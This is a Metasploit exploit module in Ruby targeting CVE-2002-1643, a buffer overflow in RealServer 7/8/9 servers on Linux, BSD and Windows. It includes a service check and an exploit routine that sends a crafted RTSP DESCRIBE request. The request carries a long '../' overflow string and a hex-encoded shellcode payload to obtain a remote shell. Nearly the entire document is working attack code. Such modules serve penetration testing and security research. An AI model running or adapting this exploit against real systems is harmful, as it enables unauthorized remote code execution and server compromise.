RealServer Describe Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'RealServer Describe Buffer Overflow',
        'Description' => %q{
          This module exploits a buffer overflow in RealServer 7/8/9
          and was based on Johnny Cyberpunk's THCrealbad exploit. This
          code should reliably exploit Linux, BSD, and Windows-based
          servers.
        },
        'Author' => 'hdm',
        'References' => [
          [ 'CVE', '2002-1643' ],
          [ 'OSVDB', '4468']
        ],
        'Privileged' => true,
        'Payload' => {
          'Space' => 2000,
          'BadChars' => "\x00\x0a\x0d\x25\x2e\x2f\x5c\xff\x20\x3a\x26\x3f\x2e\x3d"
        },
        'Targets' => [
          [
            'Universal',
            {
              'Platform' => %w[bsd linux win]
            },
          ],
        ],
        'DisclosureDate' => '2002-12-20',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def check
    res = send_request_raw(
      {
        'method' => 'OPTIONS',
        'proto' => 'RTSP',
        'version' => '1.0',
        'uri' => '/'
      }, 5
    )

    http_fingerprint({ response: res }) # check method / Custom server check
    if res and res['Server']
      vprint_status("Found RTSP: #{res['Server']}")
      return Exploit::CheckCode::Detected('RealServer RTSP service detected')
    end
    Exploit::CheckCode::Safe('RealServer RTSP service not detected')
  end

  def exploit
    print_status("RealServer universal exploit launched against #{rhost}")
    print_status('Kill the master rmserver pid to prevent shell disconnect')

    encoded = Rex::Text.to_hex(payload.encoded, '%')

    send_request_raw({
      'method' => 'DESCRIBE',
      'proto' => 'RTSP',
      'version' => '1.0',
      'uri' => '/' + ('../' * 560) + "\xcc\xcc\x90\x90" + encoded + '.smi'
    }, 5)

    handler
  end
end